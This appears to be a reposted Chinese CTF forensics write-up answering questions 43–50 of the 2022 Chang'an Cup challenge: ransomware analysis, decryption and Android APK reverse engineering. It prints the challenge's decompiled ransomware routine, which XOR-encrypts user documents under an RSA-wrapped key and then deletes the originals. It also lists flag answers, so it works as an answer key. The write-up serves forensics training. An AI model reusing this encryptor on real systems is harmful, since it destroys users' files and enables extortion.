DIDCTF-2022长安杯

admin 2025-12-25 03:06:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了DIDCTF-2022长安杯CTF的解题过程,涵盖虚拟币诈骗案的电子取证。内容涉及服务器仿真与数据库恢复、Windows取证、安卓模拟器及APK逆向、勒索软件解密等。详细展示了提取IP、破解密码、还原数据及获取FLAG的实战技巧,适合CTF取证与恶意软件分析训练。 综合评分: 95 文章分类: CTF,逆向分析,恶意软件,WEB安全,实战经验


可以看到是txt jpg xls docx

43、分析加密程序,是通过什么算法对文件进行加密的?

还是看反编译的代码:

class XORCBC:

    def __init__(self, key: bytes):
        self.key = bytearray(key)
        self.cur = 0

    def encrypt(self, data: bytes) -> bytes:
        data = bytearray(data)
        for i in range(len(data)):
            tmp = data[i]
            data[i] ^= self.key[self.cur]
            self.key[self.cur] = tmp
            self.cur = (self.cur + 1) % len(self.key)

        return bytes(data)

def run_finall():
    for filepath, dirnames, filenames in os.walk(os.getcwd()):
        for filename in filenames:
            if filename != "encrypt_file.py" and filename != "decrypt_file.py" and "_encrypted" not in filename:
                ExtensionPath = os.path.splitext(filename)[-1]
                if ".txt" == ExtensionPath or ".jpg" == ExtensionPath or ".xls" == ExtensionPath or ".docx" == ExtensionPath:
                    time.sleep(3)
                    data_file = os.path.join(filepath, filename)
                    rsakey = RSA.import_key(pubkey)
                    cipher = Cipher_pkcs1_v1_5.new(rsakey)
                    xor_key = os.urandom(16)
                    xor_obj = XORCBC(xor_key)
                    outf = open(data_file + "_encrypted", "wb")
                    encrypted_xor_key = cipher.encrypt(xor_key)
                    outf.write(encrypted_xor_key)
                    buffer_size = 4096
                    with open(data_file, "rb") as f:
                        while True:
                            data = f.read(buffer_size)
                            if not data:
                                break
                            outf.write(xor_obj.encrypt(data))

                    outf.close()
                    os.remove(data_file)

虽然出现了RSA,但是只是生成了密钥,最终对文件加密还是用的异或

44、分析加密程序,其使用的非对称加密方式公钥后5位为?

非对称加密说的明显就是RSA,看反编译的代码:

pubkey = "-----BEGIN PUBLIC KEY-----\nMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQEAx5JF4elVDBaakgGeDSxI\nCO1LyyZ6B2TgR4DNYiQoB1zAyWPDwektaCfnvNeHURBrw++HvbuNMoQNdOJNZZVo\nbHVZh+rCI4MwAh+EBFUeT8Dzja4ZlU9E7jufm69TQS0PSseIiU/4Byd2i9BvIbRn\nHLFZvi/VXphGeW0qVeHkQ3Ll6hJ2fUGhTsuGLc1XXHfiZ4RbJY/AMnjYPy9CaYzi\nSOT4PCf/O12Kuu9ZklsIAihRPl10SmM4IRnVhZYYpXedAyTcYCuUiI4c37F5GAhz\nRDFn9IQ6YQRjlLjuOX8WB6H4NbnKX/kd0GsQP3Zbogazj/z7OM0Y3rv3T8mtF6/I\nkwIEHoau+w==\n-----END PUBLIC KEY-----\n"

后5位就是:u+w==

45、被加密文档中,FLAG1的值是(FLAG为8位字符串,如“FLAG9:QWERT123”)

本来想着双击decrypt_file.exe就解密了,结果还需要密码,这个又不联网,密码肯定是写死在了程序里的:

同样的操作反编译decrypt_file.exe,在源码中看到了密码:4008003721

然后运行解密程序:

打开这个文档:

FLAG1:TREFWGFS

你的数据下载地址如下:

https://你还真能解开啊?那我也不给你/

flag就是:TREFWGFS

46、恶意APK程序的包名为

从检材一的网站前台页面里给出的APK的下载的二维码中得到下载地址:https://pan.forensix.cn/f/c45ca511c7f2469090ad/?dl=1

下载下来APK,用jadx分析,查看AndroidManifest.xml

包名是:cn.forensix.changancup

47、APK调用的权限包括

(A)READ_EXTERNAL_STORAGE

(B)WRITE_EXTERNAL_STORAGE

(C)SEND_SMS

(D)WRITE_CONTACTS

同样在AndroidManifest.xml里:

所以是:AB

48、解锁第一关所使用的FLAG2值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入”FLAG9:QWERT123″)

先脱壳,然后jadx反编译

然后全局搜索关键词FLAG

点进去,直接看到FLAG2:MATSFRKG

49、解锁第二关所使用的FLAG3值为(FLAG为8位字符串,如需在apk中输入FLAG,请输入完整内容,如输入”FLAG9:QWERT123″)

代码分析题,看不太懂,这个需要一步一步调试,可以看这篇文章:

https://blog.csdn.net/SDPCTRM/article/details/127672427

50、解锁第三关所需的KEY值由ASCII可显示字符组成,请分析获取该KEY值

代码分析题,看不太懂,这个需要一步一步调试,可以看这篇文章:

https://blog.csdn.net/SDPCTRM/article/details/127672427

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:南有禾木 北渚《DIDCTF-2022长安杯》

评论:0   参与:  2